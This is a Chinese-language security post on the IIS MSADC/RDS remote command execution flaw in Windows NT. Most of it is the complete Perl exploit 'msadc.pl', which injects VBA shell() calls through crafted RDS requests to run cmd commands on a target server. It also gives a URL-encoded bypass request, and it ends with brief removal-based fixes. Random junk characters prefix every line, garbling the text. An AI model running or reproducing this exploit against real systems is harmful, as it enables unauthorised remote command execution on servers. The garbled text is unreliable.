IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
mjbV^^> i
UW.$1l 涉及程序：
a9TKp$LP` Microsoft NT server
sQ%gf K?acRi 描述：
S$ 91L 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Z;J{&OJ3qM (c9!: 详细：
@]B
7(j<'R 如果你没有时间读详细内容的话，就删除:
C9E@$4* c:\Program Files\Common Files\System\Msadc\msadcs.dll
Oz s&YZ 有关的安全问题就没有了。
>A1;!kGE# @8V~&yqq 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
gR 8v F K_ LwYO3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=s1Pf__<k 关于利用ODBC远程漏洞的描述，请参看:
#[NNb?`F JiC y77H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `i3fC&?C d]QCk &XU 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
w"B M J+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3(>NS ?lX 'A9 U[| 这里不再论述。
lcEin *Oc Y,s@FGI 2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
f 7j9'k 2?\L#=<F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
</Ry4x^A 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
g(F? qP_K >O}J*4A>+# B;xGTl@8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
XLsOn(U\& doV+u(J~ #!perl
Z1M{5E #
$#d. @JWi # MSADC/RDS 'usage' (aka exploit) script
L=5Fvm #
t+Hx&_pMj # by rain.forest.puppy
%%f(R7n #
dSIZsapH # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^ l9NF # beta test and find errors!
]eIV'lP,j/ ~3s\Q%
use Socket; use Getopt::Std;
=hB0p^a getopts("e:vd:h:XR", \%args);
7NDjXcuq U Zc%XZ`"V print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[49Ae 2W` $ {)s
~[ if (!defined $args{h} && !defined $args{R}) {
hDHIi\% print qq~
# dxS QmG Usage: msadc.pl -h <host> { -d <delay> -X -v }
txXt<]N -h <host> = host you want to scan (ip or domain)
b#E! wMClS -d <seconds> = delay between calls, default 1 second
+K03yp hZr -X = dump Index Server path table, if available
`d. 4 L.], -v = verbose
LjMhPzCp -e = external dictionary file for step 5
|!H@{o }?XNA.Wz Or a -R will resume a command session
n 0CS = r&c31k]E ~; exit;}
Z7Xic5PI{4 ~Y'j8W $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
YR}By;Bq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
L% ?3VW if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
##clReS if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Xb KN H> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ba /^CS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JLH,: 2 /f)
#CR0$ if (!defined $args{R}){ $ret = &has_msadc;
It3. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
mY !LGN << .%Gk print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7__?1n~{ . "cmd /c ";
[*AWCV $in=<STDIN>; chomp $in;
u#`FkuE\} $command="cmd /c " . $in ;
;f)o_:(JJ E5F0C]hq if (defined $args{R}) {&load; exit;}
![a~y`<K, rYw UD7ip print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'`fz|.|cbB &try_btcustmr;
<tp#KZE u.Z,HsEO b print "\nStep 2: Trying to make our own DSN...";
@O%d2bgEWV &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e3b|z.^ 8
6`l7saHXE print "\nStep 3: Trying known DSNs...";
WYNO6Xb#: &known_dsn;
f:|O);n M hXx. print "\nStep 4: Trying known .mdbs...";
?\$\YX%/p &known_mdb;
[.`%]Z( q^k]e{PD if (defined $args{e}){
Ps_q\R print "\nStep 5: Trying dictionary of DSN names...";
Z-B b,8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
K{x FhdW ~^R?H S print "Sorry Charley...maybe next time?\n";
U?d4 ^ exit;
Y94/tjt &33.mdB H ##############################################################################
.a *^6TC. j}$Up7pW
sub sendraw { # ripped and modded from whisker
wz(D
}N5 sleep($delay); # it's a DoS on the server! At least on mine...
~M4@hG! my ($pstr)=@_;
uepL"%.@7| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]h6mJ{k die("Socket problems\n");
a4L0Itrp if(connect(S,pack "SnA4x8",2,80,$target)){
pRLs*/Bw select(S); $|=1;
X ?l F,p print $pstr; my @in=<S>;
|Z nR r select(STDOUT); close(S);
| U4t 8 return @in;
I{0bs Tp; } else { die("Can't connect...\n"); }}
9 x40 78i" 3Tm)w ##############################################################################
Hz6yy* }th^l*g sub make_header { # make the HTTP request
}4 75c{ my $msadc=<<EOT
@lnM% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x6 c#[:R& User-Agent: ACTIVEDATA
<7%4= Host: $ip
p~xrl jP$ Content-Length: $clen
:xP$iEA`G Connection: Keep-Alive
XgmblNp1 N2x!RYW ADCClientVersion:01.06
Vt!<.8&` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_noQk3N \"u3 x. ! --!ADM!ROX!YOUR!WORLD!
A->y#KQ Content-Type: application/x-varg
'F [ C 4 Content-Length: $reqlen
} &mFpc ef;Ta|# EOT
ttK`*Ng ; $msadc=~s/\n/\r\n/g;
X) TUKt return $msadc;}
KZxA\,Y'5 _,i+gI[ ##############################################################################
yw( E} k v}<u sub make_req { # make the RDS request
+.b@rU6H my ($switch, $p1, $p2)=@_;
)5Bkm{v3 my $req=""; my $t1, $t2, $query, $dsn;
a} w%k khW9n* if ($switch==1){ # this is the btcustmr.mdb query
X0 .-q%5 $query="Select * from Customers where City=" . make_shell();
P6E=*^^m( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+L$,jZqS $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Kx;DmwX- OJ'x>k E elsif ($switch==2){ # this is general make table query
M5Twulz/w $query="create table AZZ (B int, C varchar(10))";
'C9H6)Zq) $dsn="$p1";}
oYG] .PC gAY%VFBP0 elsif ($switch==3){ # this is general exploit table query
dTV:/QM $query="select * from AZZ where C=" . make_shell();
K~# wvUb $dsn="$p1";}
`=0J: ~',}]_'oR- elsif ($switch==4){ # attempt to hork file info from index server
I '[hvp $query="select path from scope()";
z]YP $dsn="Provider=MSIDXS;";}
zTa>MzH1-; 5w#*JK elsif ($switch==5){ # bad query
B~u_zZE $query="select";
DJ9;{,gm $dsn="$p1";}
N+vU@)_lC 0KF)+ `CC> $t1= make_unicode($query);
,ZYj8^gF $t2= make_unicode($dsn);
#89h}mp' $req = "\x02\x00\x03\x00";
Bn"r;pqWiT $req.= "\x08\x00" . pack ("S1", length($t1));
[wM<J$=2 $req.= "\x00\x00" . $t1 ;
9 o7d3 ir) $req.= "\x08\x00" . pack ("S1", length($t2));
/ h6(!-" $req.= "\x00\x00" . $t2 ;
$J |oVVct $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
D k'EKT- return $req;}
xmDX1sL** %acy%Sy ##############################################################################
B=;pyhc G@) I sub make_shell { # this makes the shell() statement
)6?.; B return "'|shell(\"$command\")|'";}
%}=$HwN) I~R<}volu ##############################################################################
9 @ yP ;{Q %;0w2W sub make_unicode { # quick little function to convert to unicode
.'SXRrn&:C my ($in)=@_; my $out;
3_atv'I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4Pljyq: return $out;}
."Yub];H xrT_r o8 ##############################################################################
j}R4m h ! 40 t:+I sub rdo_success { # checks for RDO return success (this is kludge)
I`%=&l[v_5 my (@in) = @_; my $base=content_start(@in);
wYf=(w \c if($in[$base]=~/multipart\/mixed/){
]
%*970 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
H&L=WF+x return 0;}
vtFA#})~ oT5xe[{yj ##############################################################################
#^Dc:1, SPV'0* Z sub make_dsn { # this makes a DSN for us
K]bS:[34 R my @drives=("c","d","e","f");
3D~Fu8Hg1 print "\nMaking DSN: ";
~MY (6P foreach $drive (@drives) {
B-[SU mHr print "$drive: ";
s\&_Kbw] c my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
W4CI=94 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$/C<^}A . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
oQD OwM, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
JLAg-j2 return 0 if $2 eq "404"; # not found/doesn't exist
\i-jME(sN if($2 eq "200") {
c
3@SgfKmk foreach $line (@results) {
*eXO?6f%s^ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^c ]Sl } return 0;}
2LYd
# !i ZZC=
7FB ##############################################################################
dW7dMx 1A- 8,) sub verify_exists {
Hcd> \0 my ($page)=@_;
+29;T0>a my @results=sendraw("GET $page HTTP/1.0\n\n");
T , =ga return $results[0];}
Za !c=(5 DuvP3(K ##############################################################################
ud:?~?j&w U30)r+& sub try_btcustmr {
V8Q#%#)FHe my @drives=("c","d","e","f");
5?kA)!|UB my @dirs=("winnt","winnt35","winnt351","win","windows");
Wsz='@XvB @ sKAsn foreach $dir (@dirs) {
16N8h]l print "$dir -> "; # fun status so you can see progress
`Ik}X w foreach $drive (@drives) {
73~Mq7~8 print "$drive: "; # ditto
|->y'V $reqlen=length( make_req(1,$drive,$dir) ) - 28;
UK K}$B $reqlenlen=length( "$reqlen" );
&SN$D5U' $clen= 206 + $reqlenlen + $reqlen;
(P#2Am$ i`] M2Q my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,:\2Lf if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
na']{a 1K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;( 0:6P8I CES FkAj~ ##############################################################################
lO $M6l *A\NjXJl~ sub odbc_error {
SA>;]6)` ( my (@in)=@_; my $base;
xdo{4XY^*W my $base = content_start(@in);
^y6Pkb
P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
MF\n@l X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jX&&@z Mq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\wRr6-!_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Mty]LMK return $in[$base+4].$in[$base+5].$in[$base+6];}
GvzPT2E! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
8) PO EY4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
3 n:<oOV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x }x@_w }2c}y7B,_ ##############################################################################
b$R>GQ?#
P)ZSxU sub verbose {
jZ
D\u% my ($in)=@_;
ex!^&7Q( return if !$verbose;
4}LF>_+= print STDOUT "\n$in\n";}
z~
u@N9M !RcAJs' ##############################################################################
3X!~*_i C "}HQ)54& sub save {
3+|6])Hi1 my ($p1, $p2, $p3, $p4)=@_;
}ZmdX ^xB open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<Ab:yD`K! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(Z"Xp{u close OUT;}
~$\j$/A8/ @J<B^_+Se ##############################################################################
#8z\i 2I d}o1 j sub load {
Fcr@Un' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f d,~Yj$R? open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a+~o: 5 @p=<IN>; close(IN);
l wg.'< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
;W+-x] O $target= inet_aton($ip) || die("inet_aton problems");
x b0+4w| print "Resuming to $ip ...";
}\0"gM $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`X^e}EGWu if($p[1]==1) {
YqJIp. Z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^w12k2a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fcZOs Tj my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`p ?E{k.N if (rdo_success(@results)){print "Success!\n";}
(&*F`\ else { print "failed\n"; verbose(odbc_error(@results));}}
'9/kDkt! elsif ($p[1]==3){
^n2w6U0 if(run_query("$p[3]")){
Qx,G3m[} print "Success!\n";} else { print "failed\n"; }}
.4Ny4CMHZ elsif ($p[1]==4){
o7T|w~F ~R if(run_query($drvst . "$p[3]")){
1 I+5 print "Success!\n"; } else { print "failed\n"; }}
:> q?s exit;}
g^C6"rsnl
(KQt%] ##############################################################################
OXacI~C *(scSC> sub create_table {
]Cz16e&=2 my ($in)=@_;
aBI]' D; $reqlen=length( make_req(2,$in,"") ) - 28;
8Cqs@<r4Od $reqlenlen=length( "$reqlen" );
2>!ykUw^O $clen= 206 + $reqlenlen + $reqlen;
^]D Wrmy my @results=sendraw(make_header() . make_req(2,$in,""));
@Hf }PBb return 1 if rdo_success(@results);
k`AJ$\= my $temp= odbc_error(@results); verbose($temp);
>gSerDH8\ return 1 if $temp=~/Table 'AZZ' already exists/;
~+n p7 return 0;}
". 0W8= `/AzX *` ##############################################################################
72,i R H y%,BD yK sub known_dsn {
:9YQX(l8 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-0X> y my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@iRVY|t/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1}uDgz^ "banner", "banners", "ads", "ADCDemo", "ADCTest");
z )pV$ I7~| !d6 foreach $dSn (@dsns) {
=z3j FaZ print ".";
op-#Ig$# next if (!is_access("DSN=$dSn"));
/)I9+s#q9o if(create_table("DSN=$dSn")){
vvM)Rb, print "$dSn successful\n";
hjG1fgEj if(run_query("DSN=$dSn")){
,![=_ d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
mCGcM^21-x print "Something's borked. Use verbose next time\n";}}} print "\n";}
uf^:3{1 ".)_k t[ ##############################################################################
O$H150,Q H+;wnI>@ sub is_access {
_5T7A><q< my ($in)=@_;
^8m+*t
$reqlen=length( make_req(5,$in,"") ) - 28;
(6BCFl:/Q< $reqlenlen=length( "$reqlen" );
*e6|SZ &3 $clen= 206 + $reqlenlen + $reqlen;
ger <JSL% my @results=sendraw(make_header() . make_req(5,$in,""));
1pb;A;F,A my $temp= odbc_error(@results);
0uz"}v) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Rpk`fxAO return 0;}
5G< CDgl^! 4cQ5E9 ##############################################################################
mvgm o RF)B4D-W sub run_query {
QC4T=E]` j my ($in)=@_;
* jK))|% $reqlen=length( make_req(3,$in,"") ) - 28;
vs. uq $reqlenlen=length( "$reqlen" );
HUC2RM?FN $clen= 206 + $reqlenlen + $reqlen;
+I <Sq_- my @results=sendraw(make_header() . make_req(3,$in,""));
faq
K D: return 1 if rdo_success(@results);
#FB>}:L{h* my $temp= odbc_error(@results); verbose($temp);
[!&k?. *;< return 0;}
A,{D9- % xiF%\#N ##############################################################################
M: "ci;*$ zcKC5vqb sub known_mdb {
ElXe =5L\# my @drives=("c","d","e","f","g");
6
b}feEh$! my @dirs=("winnt","winnt35","winnt351","win","windows");
V@S/!h+ my $dir, $drive, $mdb;
8q3TeMY V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.dCP 8 | u =kSs # this is sparse, because I don't know of many
6Qb)Uq3}] my @sysmdbs=( "\\catroot\\icatalog.mdb",
u mlZ(??. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ge?-^s4M "\\system32\\certmdb.mdb",
<~M9 nz(< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-YV4
O X=pt}j,QrP my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#0u69 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Yd;r8rN "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
q=Yerp3~ "\\cfusion\\cfapps\\security\\realm_.mdb",
C/waH[Yzan "\\cfusion\\cfapps\\security\\data\\realm.mdb",
f^4*. ~cB "\\cfusion\\database\\cfexamples.mdb",
l _ O~v? "\\cfusion\\database\\cfsnippets.mdb",
DH9?2)aR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~Ls I<z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-^H5 z+"^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
~{YgM/c|dt "\\cfusion\\database\\smpolicy.mdb",
xD # I&. "\\cfusion\\database\cypress.mdb",
o'7ju~0L "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#L.}CzAz "\\website\\cgi-win\\dbsample.mdb",
!2| `aa "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
kA<r:/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#>jH[Q ); #these are just
8MeXVhM foreach $drive (@drives) {
gVU\^KN] foreach $dir (@dirs){
pMp9 O/u% foreach $mdb (@sysmdbs) {
3Z:!o$ print ".";
htYrv5q=M if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-Y =c g; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|/^aL j^u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1vs>2` DLa print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W lQ=CRY } else { print "Something's borked. Use verbose next time\n"; }}}}}
Kw0V4UF 0~b6wuFl foreach $drive (@drives) {
!7`=r T& foreach $mdb (@mdbs) {
K}`p_)( print ".";
K4/P( *r` if(create_table($drv . $drive . $dir . $mdb)){
DG*o
w^ print "\n" . $drive . $dir . $mdb . " successful\n";
@Q\$dneY if(run_query($drv . $drive . $dir . $mdb)){
zXPJ;^Xxa print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!VX_'GyK } else { print "Something's borked. Use verbose next time\n"; }}}}
G=!bM(]R~ }
;9p5YxD |a k C ##############################################################################
(l8r>V WFB|lNf& sub hork_idx {
@\`G & VB print "\nAttempting to dump Index Server tables...\n";
q4GW=@eD print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
DgT.Lku? $reqlen=length( make_req(4,"","") ) - 28;
$;i$k2n: $reqlenlen=length( "$reqlen" );
3ZL7N$N} 7 $clen= 206 + $reqlenlen + $reqlen;
tW.>D;8 my @results=sendraw2(make_header() . make_req(4,"",""));
d)1sP0Z_@ if (rdo_success(@results)){
06 Esc^D my $max=@results; my $c; my %d;
&tz%WW%D8 for($c=19; $c<$max; $c++){
/Np"J $results[$c]=~s/\x00//g;
JJ9e{~0 I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"8ii Rzt# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
O"qa &3t% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y8*@dRrq $d{"$1$2"}="";}
D2%G.z foreach $c (keys %d){ print "$c\n"; }
/W$y"!^)J1 } else {print "Index server doesn't seem to be installed.\n"; }}
bC4* w
O # 1dTM- ##############################################################################
B%rr}Ro1e H"GE\ sub dsn_dict {
7cmr
*y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
]7S7CVDk4 while(<IN>){
sJI - $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Hv gK_' next if (!is_access("DSN=$dSn"));
Pv %vx U if(create_table("DSN=$dSn")){
KT;C RO> print "$dSn successful\n";
2@m(XT
( if(run_query("DSN=$dSn")){
v8[ek@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e|5 B1rMM print "Something's borked. Use verbose next time\n";}}}
tct 5*.| print "\n"; close(IN);}
"o# )vA` ssX6kgq_( ##############################################################################
@)Hbgkdi zGL<m0C sub sendraw2 { # ripped and modded from whisker
95?5=T F sleep($delay); # it's a DoS on the server! At least on mine...
[+MH[1Vr={ my ($pstr)=@_;
U~#^ ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>RL6Jbo| die("Socket problems\n");
`k{ ff if(connect(S,pack "SnA4x8",2,80,$target)){
w[ YkTv print "Connected. Getting data";
v`+n`DT open(OUT,">raw.out"); my @in;
u5XU`! select(S); $|=1; print $pstr;
W`/jz/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ghobu}wuF close(OUT); select(STDOUT); close(S); return @in;
? W2I1HEy } else { die("Can't connect...\n"); }}
t`8e#n 9 \|pK Z6*s ##############################################################################
wO_pcNYZ8 A.$VM# sub content_start { # this will take in the server headers
RZ)vU'@kx my (@in)=@_; my $c;
;sck+FP7w for ($c=1;$c<500;$c++) {
d%_78nOh" if($in[$c] =~/^\x0d\x0a/){
Qk~0a?#y5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$ - fj rQ else { return $c+1; }}}
0 bPJEEd return -1;} # it should never get here actually
k$0|^GL8 i_9Cc$Qh< ##############################################################################
9B#)h)h(= PD}SPOA`U3 sub funky {
cGpN4|*rQ my (@in)=@_; my $error=odbc_error(@in);
q0b` H D if($error=~/ADO could not find the specified provider/){
!|Xl 8lV` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:L [ YmZ exit;}
)kL` &+#> if($error=~/A Handler is required/){
Bgk~R.l print "\nServer has custom handler filters (they most likely are patched)\n";
9-a2L JI exit;}
im4e!gRE if($error=~/specified Handler has denied Access/){
.sJys SA\ print "\nServer has custom handler filters (they most likely are patched)\n";
0.u9f `04 exit;}}
TM/ |K|_ i B}LnC: ##############################################################################
&w;^m/zP3 > G4HZE sub has_msadc {
5}X<(q( my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
anz9lGG# my $base=content_start(@results);
N. 5KPAvg% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7>t$<J return 0;}
nv_m!JG7 STXqq[+Rf ########################
gf3u0' $ <(#xOe N'eQ>2>O@ 解决方案：
2sd ) w 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s.p1L 2、移除web 目录: /msadc
